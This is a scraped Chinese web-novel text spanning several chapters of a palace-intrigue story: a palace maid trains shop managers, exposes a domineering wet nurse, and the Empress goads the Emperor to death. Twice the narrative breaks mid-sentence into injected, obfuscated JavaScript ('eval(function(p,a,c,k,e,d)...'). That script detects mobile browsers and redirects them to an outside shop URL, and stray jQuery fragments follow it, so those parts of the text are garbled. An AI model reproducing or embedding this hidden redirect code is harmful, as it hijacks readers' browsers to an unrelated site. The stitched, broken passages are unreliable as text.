“姑姑为何是红花呢?我记得在红花之前还有不少人会日日讨好你你为何选了红花?”菊儿不解红花麽暂且不论品性如何就说能力也比不得正正经经从殿中省出来的宫女她们可都有些手艺活在手上的。 那红花有甚麽? “菊儿你觉得对于领头的人来说追随她的宫女甚麽最重要?”竹清忽的问道这又是一个让菊儿沉思的问题。 能力?不对。 会奉承?也不对。 ……莫不是“是忠心麽?”菊儿问她观竹清点头又兀自说起来“红花虽然是后面进来的本事也不算大但是她认准了姑姑便也一直为姑姑做事从不与其他人混在一起。” “你很聪明。”竹清赞赏菊儿她说“其他人讨好我 想跟着我学东西。听说她现在也会使银钱让旁人教她各种手艺,甚麽养鸟、栽花、品茗……一个月的月例银子都花出去了。” 红花不仅仅有忠心,也有一颗想要往上爬的心,单论拿全部月例银子出来请旁人教导自个,她就已经胜过许多人了。 “她的这份勇气,我是万万比不上。”菊儿闻言,也彻底佩服起红花,她说,“我那有几匹适合她的料子,等下回去后,我给她拿过去,让她制几身冬衣。昨个娘娘不是吩咐了宫人要晒一晒衣物,好过冬麽?红花只晒了几件灰扑扑的秋衣,却是不能御寒的。” “你喜欢,送之前先去我那儿,我也给几匹好料子,她的衣袜都是不够的。”竹清说,虽然绣园会给宫人每人缝制两套冬衣,但也是不够,万一不小心湿了,难不成还穿湿衣服不成? 马车驶出闹市,进入人烟稀少的小路,到了庄子,容西照旧在等她。 “人都齐了?这一批当中较为出色的就算毕业了,等下听从我的安排各自去当个好差事。”竹清一边说一边下马车。 “欸,可是送进宫里?”容西问,“姑姑有所不知,她们今早还在说悄悄话,担心自个的前程。” “担心很正常,待落到实处,就不会了。”竹清踏进庄子,先是圈出一些名字,让容西抄写,随后又见过几位女老师。 “姑姑,抄好了。”容西放低那张纸,让竹清低头就能看见。 “去叫她们,先送去铺子住几日,之后再采选入宫。下边几个是送去北安州,你把她们唤来,我有要事与她们交代。”如此吩咐一通,竹清已然口干舌燥,菊儿端来茶水。 去北安州的一共有二十个,她们经过培养,见了竹清也只微微紧张,却并不害怕,还能抽空用眼角余光偷瞄她。 “想必容西管事已经与你们说过,今日之后,你们就将离开这里,去往北安州,在各个铺子、酒楼、行店里当管事小娘子,能力足的,当个女掌柜不是问题。”竹清语气微沉,见有个学生欲言又止,她又问道:“有何不解?” “姑姑,如何评判能力呢?”大家都是一同读书的,年龄相仿,怎麽分出个本事高低? “跟考试一样,你们去了之后,分成几个团队,谁能率先把手里的铺子盘活,哪个团队就赢了。赢的团队 能得到分红,当月有奖励。还有铺子的规模也相应扩大,你们手底下的人也会变多。”见她们过于兴奋,竹清又说道:“你们跟着老掌柜师傅学了这麽久,虽然理论知识足够,但是实践却还是不够的。” “故而去了北安州,会有掌柜的先带你们一段时间,之后才是你们大展身手的时候。”竹清说,那些铺子是专门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583515|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做女客生意的。 也是她与皇后说,女客的银钱最好赚,一家老少的采买大部分都是女客做主。 “真的吗?可是我计算比较快,对商事一窍不通欸。” “你笨啊,那你做算账的先生不就行了?左右咱们都是几个一起管铺子,你不懂的让姐姐们考虑……” “好了好了,莫要再多嘴,竹清姑姑说的,你们可明白了?记得到了地方之后,多思多想,跟着掌柜的学,不可好大喜功,为了立功就随意摆置铺子,可懂?”容西管事严肃着脸,望着眼前大好年华的学生们,嘱咐道:“莫要辜负竹清姑姑对你们的看重,她为了你们,也是付出了许多心血的。” 别的不说,这个庄子里的摆设布景、学生们的住处、找的先生等等,都是经过竹清姑姑的手。只不过这些学生只用操心读书,所以对这些事知之甚少。 “我也是受主子们的托付,今个主子还有一话要我告诉你们,往后你们闯出了名堂,定有好赏赐等着你们。”竹清说,皇后与她说,如果这些学生真有本事在北安州站稳脚跟,上好的玉石、首饰应有尽有,任凭她们拿。 接下来的事情就交由容西管事负责,竹清预备着出门去寻个熟人。 竹清与菊儿挥挥衣袖就踏上马车,待到了路口,正是能遇见摊贩的地儿,菊儿就掀开小帘子往外看去。 “真是热闹,姑姑,咱们等下能去脚店买些吃食啃麽?我馋鸡翅鸭翅了,正巧与我同住的两人今夜守夜,趁她们不在,我自个偷偷吃。”菊儿皱皱鼻子,说道:“她们两个是体面人,嫌弃我从农家来,爱吃那些市井贱食,我吃这些个,便不爱在她们跟前用了。” “哟,我倒是也爱吃,陪酒香的很,我待会与你同去,买些去寻我干娘,让她陪着我喝上一角酒,好好醉一回,松快松快。”竹清听菊儿这麽说,嘴里就开始分泌唾液,她也馋了。 “我倒是知道有一 家,是婆媳俩来卖的,那鸡爪子卤得入味,轻轻一嗦,那肉就从骨头里掉进舌头上。还有她们隔壁,是一对兄妹,卖的正是酸梅酒,配那卤味,能香的舌头都吃掉。”菊儿一脸陶醉,从言语中就能感受到,的确是个会吃的。 “那你跟车夫说一声,让他到那附近,咱们下车去买,我且看看她们的手艺是不是那麽好,值得你如此替她们打名声。”竹清整个人笑得柔和,大约是陆陆续续送走了学生,那边的事一少,她就感觉轻松不少。 “欸,我这就与他说。”菊儿应得快。 市集的喧闹声音逐渐透过帘子传入耳朵,菊儿就趁着这些嘈杂声,与竹清介绍道:“姑姑您看,那是卖糖葫芦的,那是卖灌汤包子的,那李家酸物是专门卖那些酸吃食,甚麽酸杏子、酸青芒,不过太酸了,轻易软了牙根。” 竹清就循着菊儿所指的方向看去,老翁、妇人、小童,糖葫芦、酸物、卤味,甜味、酸味、肉香味,色香味俱全,构成了一副生动活泼的盛世图。 “就在这儿停罢,里头人多,等下不好走的,我与姑姑下车。”菊儿吩咐车夫,那车夫就机灵地寻了个安静的转角,又快步把脚凳拿下来放好。 竹清与菊儿一前一后下了,她又交代车夫不必等在原地,去茶铺喝口凉茶,降降火。 “这是给你的茶汤钱,去罢。”竹清拿出一两银子抛给车夫,得了他好一顿谢。 “姑姑,你且小心点,这里人多。”菊儿在外面护着竹清,若是有人挤过来,她也不恼,只手悄悄摸使劲儿把他们推走。 “那儿就是罢。”走了一段,竹清已然看见了卤味与酸梅酒的脚店,人不少,那摊贩两只手忙得飞起,脚不沾地。 “两位娘子要点甚麽?”妇人问,竹清便说道:“都给我装点,切好。她要的一并算我的。” “要酒麽?他家的酒一绝。”老妪帮着装,菊儿点了,竹清便付了银钱,就等起来。隔壁那个卖酒的摊子也会问他们的客人要不要卤味,很香。 两方相互招呼,倒也有生意做。 竹清四处看着,忽的,一个脚步匆匆的身影吸引了她的注意,那男子身形高大,肩宽腿长,腰上别着佩剑,很是有潇洒肆意的风范。 正是一个见过面却不甚熟悉的人——威德大 将军。 原是他也就罢了人人都能逛市集不是?偏偏他不是一个人出行竹清瞧着他拎着一包东西上了马车那马车里头还有一人一袭白袍手持玉扇微微上扬的眼睛透着算计——正是祁王。 这两个人凑一起肯定有事竹清立时就与菊儿说道:“东西且放回马车咱们去租赁个轿子有事。” 菊儿观她神色也不敢耽搁匆匆忙忙按照她的吩咐做了待二人上了轿子菊儿才问她“这是怎的了?姑姑咱们这是跟着谁?” “回去与你细说。” 轿子不敢离太近到了某个路口竹清就让停了。远远的见马车驶入了北大营 无关紧要的人进出军营需要皇帝同意再不济如何也要过问太子殿下可她见威德大将军的马车畅通无阻地进入那些守卫连审查都没有做。 可见威德大将军的威望。 但是这对于太子来说绝对不是甚麽好事于竹清而言她得速速禀报太子与皇后。 “回到刚才那处原路返回。”竹清说待下了轿子她与菊儿便等不及要回皇宫。 “姑姑您别急喝口茶水冷静冷静。”菊儿还从来没有见过竹清姑姑这副模样脸色黑沉眼神似乎蕴含着她看不懂的情绪。 威德大将军有兵权与祁王混合在一块能有甚麽好事?兵权兵权她只盼着太子殿下能把兵权收回也不用这般提心吊胆。 作者有话要说 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第 87 章 救太子,皇帝驾崩(捉虫) 第87章救太子,皇帝驾崩(捉虫) 又到了众后妃给皇后请安的时候,自从皇后娘娘要听政,她就下令,每逢初一十五来椒房殿请安即可,不必日日都来。 昭贵妃宫里的人来禀报,“启禀皇后娘娘,昭贵妃身子不适,卧床静养,不能来向娘娘请安了。” “无妨。”皇后颔首,又侧头看了看竹清,吩咐道:“竹清,等会儿请安结束,你去库房挑一些补品送过去,也替本宫瞧一瞧昭贵妃。若是有不好的,只管来告诉本宫。” “是。”竹清应了。 这回请安,除了后妃之外,三位公主也到了。除了明文长公主,后宫之中还有两位公主,只不过除了舒妃所生的三公主蓉姐儿,康嫔生的二公主岚姐儿可就不受宠了。 公主们坐在前头,唯有二公主低着头,肩膀也微微缩着,完全没有公主的派头,瞧得皇后眉头都皱起来了。 “二公主。”皇后轻声唤她,二公主立即起身行礼,“母后。” “坐,本宫看你神不思属,可是有甚麽烦心事?你看你两个姐姐,聊得多起兴。”皇后指了指明文长公主还有三公主,明明三公主比二公主还要小几岁,但是却与明文长公主合的来。 倒是二公主,与明文长公主差不离的年岁,却像个鹌鹑,话也不说,关系也不调理,这哪儿成的。 见后妃还有姊妹们的眼神都落在自己身上,二公主明显身子晃了晃,她低着头,神色倒是愈发紧张,只微微颤抖着声音,说道:“回禀母后,儿臣见姊妹们聊得好,便不欲打扰,并没有烦心事,儿臣多谢母后关心。” 皇后看她这个样子实在是不像没事人,故而她心疼地说道:“你看你,精神头不足,可是生病?”不待二公主回话,她又与竹清说道:“竹清,扶二公主去殿后歇一歇。” 只一个眼神,竹清就明白了皇后的意思,她抬脚从皇后身后走出,直达二公主面前,轻声恭敬地说道:“二公主,请随奴婢来。” 二公主虽然不愿意多事,但是显然不敢忤逆皇后,便跟着去了。路上,竹清问二公主,“公主,您若是平日里有不解的,可以到椒房殿询问皇后娘娘,娘娘是您的嫡母。” “竹清姑姑,二公主享天下奉 养,再没有甚麽不如意的,皇后娘娘日理万机,二公主可不能多打扰。您说是吧?二公主?二公主尚未回话,反倒是她身后的一个老嬷嬷抢先着说,言语中直接就替二公主做了主。 “嗯。二公主应道,又看向竹清,“谢嬷嬷所说,正是我的意思。 竹清虽然觉得奇怪,但是听二公主所说,并不好在她面前训斥这个没规没矩的谢嬷嬷,只打探道:“谢嬷嬷是二公主宫里的掌事嬷嬷?伺候二公主多长时间了? “回竹清姑姑的话,我是二公主的奶妈妈,跟着二公主已经有十三个年头了,现下正是华安宫的掌事嬷嬷。谢嬷嬷明面上恭敬,实则话语中无不透露出她的得意骄傲。 不同于从小住在一起的皇子们,公主们是独立住一个宫的,毕竟日后出嫁,大婚礼需要在宫殿里完成。公主得等到成婚后才能建造公主府,而皇子们成亲前就会出宫建府。 “二公主暂且在这里小憩一会,奴婢让人上一些安神的汤水,公主喝上几口,能入睡得快一些。竹清说,皇后估计与后妃们还有很多话要说,请安不会那麽快结束。 “这里有椒房殿的宫女,谢嬷嬷,你带着其他人退出去罢,去隔壁茶水间吃糕点喝个茶。小厨房里端来了桃片糕,香甜可口得很。竹清说。 “欸,二公主身边还是要有熟悉的宫女,公主,不若让莲花、桃花她们留下?谢嬷嬷说道,二公主点头,“听嬷嬷的。 竹清眉头拧起,这个二公主怎麽事事都听谢嬷嬷,自己做主都不行麽?好似谢嬷嬷才是主子,她反倒是奴婢了。 不过她也不好在二公主说小话,便带着谢嬷嬷出去了,去到了茶水间,菊儿正在里头,竹清与她说道:“菊儿,这是谢嬷嬷,二公主的奶妈妈,你好生招待一下,沏茶与她喝。 菊儿接收到了竹清的眼色,立马热情地上前拉住谢嬷嬷,口中说着客气话,道:“早听说二公主身边有一个手拿把掐的嬷嬷,只是一直不得见,今日一遇到,果不其然,与我想的一样,嬷嬷是个有本事的。 留下菊儿套谢嬷嬷的话,竹清又去小厨房叫汤水,她亲自领着汤水进了后殿,却发觉那两朵花一左一右候在二公主身边,活似门神,又似看犯人。 “你们两个站到门口,主子唤你 们你们才进来这般一错不错看着主子规矩都学到哪里去了?”竹清严厉地训斥待荷花与桃花诚惶诚恐地出去后她又柔和了脸色边把汤水放在桌面上边说道:“二公主莫怪奴婢骂她们实在是她们规矩不行错得离谱。” “我知姑姑好意不曾怪姑姑你。”二公主说道她见了汤水又说道:“让姑姑跑一趟多谢。” “奴婢伺候公主喝了罢。”竹清说在二公主喝汤时她又装作不经意间问道:“公主奴婢瞧着谢嬷嬷很年长她打算出宫养老还是随着公主出嫁?” “应当是随我出嫁谢嬷嬷家里人多她不愿意回去在华安宫她自在一些。”二公主解释许是见竹清是真的待她好她又犹豫几分说道:“只是有时嬷嬷气性大了轻易就躲着我。” “姑姑这话我与你说你可千万别和谢嬷嬷说。”二公主有些紧张。 “不会的。”竹清安抚她自她说出那句话后似乎是后悔了等竹清再问却已经甚麽都问不出来。 茶水间 谢嬷嬷还是有几分理智的闻言并不敢直截了当地应只略略谦虚道:“菊儿姑娘甭抬举我上边还有那麽多姑姑嬷嬷呢我出去了也不是人人都识得像竹清姑姑这样的那才叫厉害!” 她可羡慕竹清了觉得她在椒房殿说一不二且皇后娘娘又给面子她在外头走动殿中省的太监、御前的公公等等哪个不给她脸面? “欸嬷嬷不必诓骗我我可都知道了二公主身边嬷嬷是头一个得意人寻常二公主得了甚麽赏赐只怕还会给嬷嬷留一份罢?”菊儿给她添茶又招呼她吃几盏子玫瑰乳酥酪。 那可不止一份——谢嬷嬷差点脱口而出只神志还在便说道:“我是华安宫的老人公主体恤我故而每回给我的东西都比旁人多几份。” * 正殿中明文长公主又与三公主聊起来皇后看她们的模样笑了笑说道:“有一事公主们渐渐都大了也是该拟个封号不然以后难不成还叫序齿?到底失了体面与尊贵。” 此事关乎三 公主,所以舒妃很快就开口,“臣妾替三公主多谢皇后娘娘,不知娘娘给拟了甚麽封号?” 康嫔欲言又止,但是二公主又不在,她位份低,便也只能缄默不语。 “还没拟,你不必担心,此事本宫与太子商议,左右都会选一些寓意好的封号,待有了封号,就可以预备着挑选夫婿了。”皇后说,公主选夫婿,那可是相看许久。 就像她的敏姐儿,挑挑拣拣好几年,又用一两年的时间筹备嫁妆,明年才成婚,可见是慢不得的。 涉及到女儿,一向风轻云淡的舒妃接连搭话,“皇后娘娘别嫌弃臣妾多嘴,三公主往常活泼好动,虽然也读书,只是到底更爱顽。故而臣妾想娘娘给她一个朝气些的封号,不必过于文气。” “母妃!”三公主佯装恼怒,似是害羞舒妃在这儿拆她的短。不过仔细看,她的嘴角挂着笑,沉浸在幸福里。 舒妃看向三公主,目光柔和宠溺,她自己从小被逼着读书写字,硬生生逼出这才女的名声。己所不欲勿施于人,她希望她的女儿快乐就好了,不用硬作才学上佳的女子,没必要。 “你还母妃来了,娘娘您瞧瞧,她算不算得调皮?这个脾性,起个博学含义的封号反而不美。”舒妃打趣道,她在皇后面前也没有甚麽拘谨,可见与皇后亲昵。 皇后掩唇笑了笑,挨个“数落”她们,“你们呀,一个作母亲的,一个作女儿的,倒是跑到本宫的椒房殿展示母女情深了,也罢。舒妃的一腔爱女之心本宫自当成全,左右就两位公主需要拟封号,这事本宫让太子想,定给你们都选个贴切的,如何?”她说到最后面,却是询问三公主。 “儿臣多谢母后关怀。”三公主起身行了个礼,待坐下后,又有些担忧地问道:“只是太子殿下忙碌,儿臣与二姐姐的事不会烦扰到他罢?” 能让太子殿下起封号自然是好的,毕竟他是储君,日后是帝王,能与她有亲近之意那是最好不过。 “两个封号,他闲暇时自然得空想。”皇后让三公主不用多思,她说,“平日里进食香不香?若是有不顺心的地方,只管与本宫说。” “都好,儿臣每日去寻大姐姐说话,再没不如意的。”三公主说。 除了舒妃,文妃也打趣了几句,其他妃嫔也陆陆续续参与进来 ,除了一些从前依附昭贵妃的低位份嫔妃,其余人俱都喜气洋洋,活似这等喜事发生在她们身上。 “恭贺完两位公主,也是该到你们欢喜了。”皇后扫了一眼,等她们安静之后,她就说道:“昨个本宫与太后还有太子商量,为了给陛下冲喜,预备着大封六宫。” 这下诸位妃嫔们的喜色真情实意不少,一个个微微睁眼,原本还觉得困,这下瞬间精神了,毕竟这可是关乎自个的大事。 “皇后娘娘,不知咱们哪些姐妹有此福分?您不若提前与咱们说说,这贺礼也好早日准备。”两年前选秀进宫的娴贵嫔迫不及待地开口,她也想晋升,再升就是妃了,待遇不可同日而语。 “这头一个,便是有生育之功的,舒妃晋升为舒贵妃。文妃是生了九皇子就晋封妃位的,此次便缓一缓。”皇后特意看向了文妃,怕她心里有疙瘩,文妃善解人意,说道:“臣妾知道的。” 本来进宫两年能平安生下皇子且成为文妃就已经是幸运,她不会强求那麽多。 “崔贵嫔,李贵嫔晋升为妃,封号着殿中省拟。禧贵嫔晋升妃位,封号不变。”皇后慢慢地说道,再之后就是一些低位妃嫔,首先就是七皇子的生母苗嫔,她是个争强好胜的性子,一直与住同一个宫的陈嫔吵嘴,三天两头惹事,故而陈嫔都晋升为贵嫔了,她依旧被压着,还是个嫔位。 “苗嫔,日后做了贵嫔为一宫主位,千万不要再在外头惹是生非,少些与姐妹们争吵,你不想想自个,也得为七皇子着想。他在勤学殿读书,日日疲累,总不能下了课还听闻你被罚。”皇后敲打苗嫔,哪儿知苗嫔似乎呆住了,连谢恩都是贴身宫女提醒。 “是,臣妾,臣妾定当听从皇后娘娘的教诲。”苗嫔头晕晕,感觉自己心肝跳得极快,她从来不敢想她也能作贵嫔。 “康嫔晋为贵嫔。”她到底养育二公主,这点荣耀还是要有的。皇后又陆陆续续说了几个名字,都是一些才人美人,哪怕越级晋升也不碍事,左右就是月例多一些,倒也养得起。 全部都是皇后派系的人,从前依附昭贵妃的那些,一个都没有封赏。其中还有一个贵嫔呢,虽然心中想要最后一个妃位,但也不敢问,生怕遭了皇后的眼,往后在宫中难过。 等妃嫔们散了,竹清这才与皇后说 道:“二公主睡着了,奴婢看康嫔只顾着自己高兴,已经走了,忘了二公主还在后殿呢。 “那就先别叫她,让她舒舒服服睡一觉罢,也是个可怜的孩子,本宫记得,康嫔对她爱搭不理的,她一个人在华安宫,指不定有委屈也不敢提。皇后说,陛下拢共就三个公主,偏偏她生母身份低微。 “是,听闻二公主不常去给康嫔请安,是康嫔不让她过去,说是别打扰她上学上课。竹清说,公主去勤学殿读书,下了课照样有功课。 “不过依奴婢之见,好像是康嫔不愿意见她。 “康嫔……昔年在王府时就想着生一个哥儿,结果生了一个姐儿,后头新人进府,她也彻底失了宠爱,自此再也不能有孕。她这是在怪二公主呢,一直心里怨恨。 皇后这样说,倒是让竹清也记起来了一桩事,“康嫔刚生下二公主的时候,二公主不是体弱多病?后头才发现,不是生来身子弱,而是伺候的人不周到。那时二公主还养在她身边,但凡她重视一点,二公主也不必受那些罪了。 “是了。皇后也恍然,“你不说本宫还忘记了,康嫔这些年恐怕还转不过弯,不然哪儿能这样对二公主。二公主到底是帝女,她岂能薄待? 竹清在心里叹气,人的偏见一旦形成,不是轻易可以更改的,康嫔觉得是二公主害的自己没有依靠。 “对了,娘娘,奴婢按照您的吩咐……竹清把二公主以及谢嬷嬷的事说了,她说道:“菊儿与我说,那谢嬷嬷言语间并不尊重二公主,还道华安宫都是她做主。 “竟有这样以下犯上的宫女?皇后诧异过后就觉得恼怒,“真是岂有此理,她如何敢这样说?二公主呢,也任由她这般嚣张狂妄? “奴婢看二公主,倒似乎被她压住了,二公主身边的宫女们都听从谢嬷嬷的,谢嬷嬷一吩咐,她们也不等二公主的命令与许可,就各自去做事。衬得二公主不像个主子,偏二公主像是习惯了,也不训斥。竹清说,二公主性子如同面团,可不就是让奶妈妈称大了。 “哼!皇后一拍桌子,抿了抿嘴唇,这才说道:“往常也是听说过此类的事情,家中姐儿不受重视,身边伺候的人便拿捏姐儿,反而在姐儿屋里头当主子。本宫看二公主也是一样的,谢嬷嬷这些年指 不定凭身份昧下了多少好处。” “这样,等下你让二公主过来一趟,本宫与她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那便先欠着,以后有好事我自当为你筹谋。那贡橘值几个钱?明儿殿中省送来了,你按照从前的规矩分了,给华安宫多送几个,其余的,你自己留着吃。”皇后说,待竹清应了,她又略微惆怅地说道:“你这样的功劳,封个郡主亦或是去外头当官也是极好的。” “娘娘可是嫌弃奴婢笨手笨脚了?不然何故次次想要让奴婢离了你?”竹清佯装委屈,倒让皇后止住了话。 “也罢,我今后不说了。”皇后拍了拍她的手,吩咐道:“去把二公主叫来,我有话问她。” “好。”竹清收敛神情。 * “她若果真亏待你,在你宫里还作主,你只管与本宫说,要是不觉得委屈,出了这门,本宫自当这事没有发生过。”皇后端起茶,眼角暼了二公主一眼。 这就是要看看二公主自己能不能立起来,若是她都说到这个份上了,二公主还是唯唯诺诺,那即便没有了谢嬷嬷,也有陈嬷嬷、许嬷嬷,照样能把她往死里欺负。 “母后……”二公主语带哭腔,她没有料到,生母康嫔都不曾注意到这事,皇后却注意到了,且还想着为她做主。 二公主想来之前就思虑过,这回一下子就全盘托出,“谢嬷嬷经常不许儿臣做这个做那个,儿臣想要去找姊妹们,她也只说别去讨人嫌……”这般细数下来,她日子凄苦得不行。 “可恶的贱婢!”皇后气得拂去桌上的碟子,糕点四散掉落,竹清赶忙上前捡起碟子,把它放在远处,又把两人的茶盏也推离了手边,劝解道:“娘娘可别气坏了,仔细瓷片伤到肌肤。” “本宫气糊涂了。”皇后恼怒,二公主亲近姊妹却不被允许,她算个甚麽东西,也敢做主子的主了? 就该拉出去,狠狠地打板子! “来人,传谢嬷嬷还有二公主的宫女。”皇后预备着拷问她们一番。 谢嬷嬷被带进来的时候还一头雾水,直到听见了皇后的盘问,脸上浮现出惊恐,还有一抹不知道对谁的怨愤。 “皇后娘娘明鉴,皇后娘娘明鉴。”谢嬷嬷大喊着冤枉,哭诉道:“皇后娘娘,老奴自从做了二公主的奶妈妈,那是从来都不敢怠慢,公主但凡有个甚麽不适,老奴会立马着人去请太医,恨不得替公主受罪……老奴怎麽会托大,反过来拿捏主子呢?” 如此说罢,她往二公主脚边爬了爬,又不停地磕头道:“二公主,二公主。老奴从您生下来就给您喂奶,从只有几斤重到如今长得亭亭玉立,老奴都是一直陪着您的,苛待您的事老奴是万万没有做过。” 一时间,殿中只剩下了谢嬷嬷饱含情感的声音,就仿佛,她对二公主真的有千般真情。 * 此刻,竹清正领着菊儿以及红花往华安宫去,二公主方才与皇后说,她的一些首饰经常无缘无故找不到了,问宫人们,她们也说没看见,所以,她怀疑是谢嬷嬷偷了。 于是皇后让她去华安 宫把谢嬷嬷的住处搜一搜,若果真有二公主丢失的物件,那谢嬷嬷可就不止被打一顿那麽简单了。 华安宫比较安静,周围几个宫殿都无甚喜好热闹的妃嫔,见了椒房殿的掌事姑姑气势汹汹地来,她们也只教宫人别去凑热闹,小心惹祸上身。 “你是?”华安宫门口正有十来岁的小宫女扫地,她不认识竹清,却也知道这是一位姑姑。 “这是椒房殿的竹清姑姑。”菊儿落后半步,在后边开口解释。 “竹清姑姑。”那小宫女瞬间紧张起来,一双手握着扫帚,不知道该做甚麽。 “你们宫人都在何处?把他们叫过来,候在院中,我有要事做。”竹清冷着脸吩咐,待华安宫上上下下的宫女太监都出来后,她直接命令一个大宫女,“把华安宫的库房记档给我拿过来,我要看。” “竹清姑姑,这等东西都是谢嬷嬷管着的,我、我……”大宫女为难,她可不了解发生了甚麽事,只知道如果这般给了竹清姑姑,将来谢嬷嬷回来,饶不了她。 “皇后娘娘的口谕,你也不听麽?”大宫女唬了一跳,正呆滞,竹清扫了她一眼,放低声音在她耳边说道:“不用怕谢嬷嬷回来。” 这一句意味深长,大宫女心里砰砰跳,一咬牙,给竹清拿来了记档,“竹清姑姑,这几本就是。” 竹清就让红花看着华安宫的宫人,她带着曾妈妈与菊儿等人进了谢嬷嬷的房内。 “姑姑,咱们从哪儿开始找?”菊儿问道,特意被竹清带来的曾妈妈搁一边搭话,“瞧瞧这住处,说是主子都不差了。” 谢嬷嬷的住处有一张雕花大床,用来罩着大床的纱还是有名的织金纱,伴随着微风吹拂,织金纱就如同海浪,缓缓闪着金光,霎是夺目。 架铜盆的摆件是外头进给殿中省的——只有少少五十件,随意一放的花瓶价值几十两,用来沐浴的大桶镶嵌了玉石……放眼望去,谢嬷嬷的房间何止是奢靡,简直是超脱了一个奴婢该有的规格! “乖乖,这等好物件,我从前在一些贵人美人那里都不曾见过,这个奶妈妈就用上了?”曾妈妈咋舌,她之前奉娘娘命令去给后妃送糕点,就见过那些宫妃过得有多艰难,大多数低位妃嫔都用不上攒金织银的好东西。 “先别管这些个,你 第 88 章 养伤,殿中省牌匾被取 第88章养伤,殿中省牌匾被取 两日前,浓重的夜幕里只有点点繁星,勤政殿里的火烛只燃了几根,整个大殿昏暗无比。 “把烛火都点上。”皇后吩咐道,待大殿明亮之后,她才缓缓走到床榻边,看着消瘦的帝王,说道:“陛下,今日琮哥儿差点遭遇不测,你说,该如何处置祁王?” 至于威德大将军,那是铁定诛九族。 “说起来真是好笑,你没有用,祁王又谋反,兄弟三人,竟只剩下一个半废的宣王,不过他如今也只是窝在王府里,不敢出去惹事。”皇后说了许多,到最后,却问了一句,“陛下,你为何不早日归西,让我的琮哥儿登基,他多些权力,才会更加安全。他有他的抱负,想为大文的发展出一把力……” “嗬嗬嗬嗬——”不知何时,皇帝醒了,只是他不能动,只能瞪着眼睛,移动眼珠子死死盯着皇后,那神态,恨不得立马与皇后同归于尽。 “陛下,可是累了?累了就睡罢,左右你现在也没甚麽用处,有你一日,那些老臣子就用你来压着太子,教他束手束脚。每次看着太子几日几日睡不好,我的心就疼。”皇后言语刺激到了皇帝,他鼻孔变大,猛然在进气出气,凹陷进去的两颊也开始有了微微起伏,俨然一副气到极致的模样。 “噗!”皇帝呕出一口鲜血,一对眼珠子都快要掉出来了,就那般睁着,不动。 皇后往前几步,伸出手放在皇帝鼻子下面探鼻息,语气欣喜又困惑,喃喃自语道:“死不瞑目?”她原本想着多留皇帝几年,让他别死那麽快,谁知他这般不争气,被气死了。 她把怒睁的双眼合上,声音如风般轻,说道:“陛下,待我也入了阎王殿,你再找我算账罢。这人间几十年,我却是要好好享受的。” 说罢,她酝酿好情绪,倏然哭出了声,“陛下!” 那一夜,这个在位了短短几年的帝王,在勤政殿中驾崩。 * “托了姑姑的福,我也不用跪拜了。”菊儿低声说着,又扶起竹清,“姑姑您等一等,我关上窗户,这会子冷。” “殿中省是不是忙活起来了?”竹清活动了一下腰,骨头发出吱嘎吱嘎的声音,让她神清气爽。 “是 呢,丧礼、登基大殿。菊儿说,她猜测道:“不过听闻丧礼是之前就准备妥当的,想来也不算忙。再忙能忙到哪里去? “对了姑姑,说到殿中省,那林忠海林公公被问责了,整个殿中省上上下下有不少人进行狱司,受刑,进去了可就出不来了。菊儿浑身打了个冷颤,活似她也进去了。 行狱司,是皇宫中存在感不算高的一个部门,主管调查、审问,宫人们犯错之后被送进行狱司,那可是九死一生,能出来的,不是死就是残。 “可是因着那个行刺的小太监?我记得那是殿中省的人安排的。竹清一下子就找到了关键,除了这个,还有哪个能让素日温和的太子大发雷霆? “正是,那小太监虽然不是殿中省出来的,可是却经过他们的手,由他们负责,据说太子殿下问责他们的时候,他们竟然支支吾吾说不了一个明白,后面一查,才知道,殿中省的人偷奸耍滑,只有一个公公经手这个小太监,不就坏了规矩? 能在大宴上近身伺候太子的小太监需得经过一层一层的人批准,可殿中省居然只要一个人批了,便让他当差。 “太子殿下恼怒得很,当即让人按住他们打了板子,林公公也进了行狱司,不过一天后又放出来了,毕竟殿中省事情多,又恰逢国丧,之后还有登基大典,林林总总事情不少,殿中省已经少了许多公公,还是需要他。对了,后面太子殿下又说不要殿中省了,改设尚宫局。菊儿说。 尚宫局? 竹清转过头,有了一些精神,说道:“果真?说到这个她可就不困了,毕竟这与她相关。 “自然,我还能诓骗姑姑不成?太子殿下亲口在众人面前说的,我跟着娘娘,听得一清二楚。菊儿却是不知道皇后与太子都曾属意竹清来当尚宫局的大人。 “唔。竹清若有所思,殿中省臃肿,各个部门经常相互推诿扯皮,推卸责任他们还挺拿手。甚至有的时候,一件事要几个部门一起办,很是麻烦。 太子殿下这个时机抓得真准,殿中省出了大纰漏,他立马借此机会,提出要废除殿中省,改设尚宫局。 “不过我猜,这事起码得到明年才能有个结果。竹 清对菊儿说现在国丧总不好大动干戈而且太子想要动殿中省等于动其他人的利益他得找到殿中省最大的错处才好一次性堵住他们的嘴。 * 国丧可不好受不提要长时间跪拜就说如今天冷又下雨 皇后望着像个木偶一样的昭贵妃让人带她下去“五皇子你且去照顾你的母妃。” 舒贵妃站在皇后身边低声说道:“皇后娘娘昭贵妃只怕失了魂方才臣妾唤她她都当没听见。” “寻个太医给她瞧瞧再如何也不能坏了身子。”皇后拧眉昭贵妃没了靠山自然失了魂。 今夜却不好受那细雨丝缠缠绵绵后头竟愈发大起来雨珠子豆粒大小砸在油纸伞上噼里啪啦的压得伞面垂下来。 椒房殿中曾妈妈来瞧竹清她端来好些吃食“这是娘娘吩咐的要给姑姑清淡些的饮食这是小米粥熬了一个半时辰绵密得很。” 还有几样吃食皆是送粥的清淡好菜。 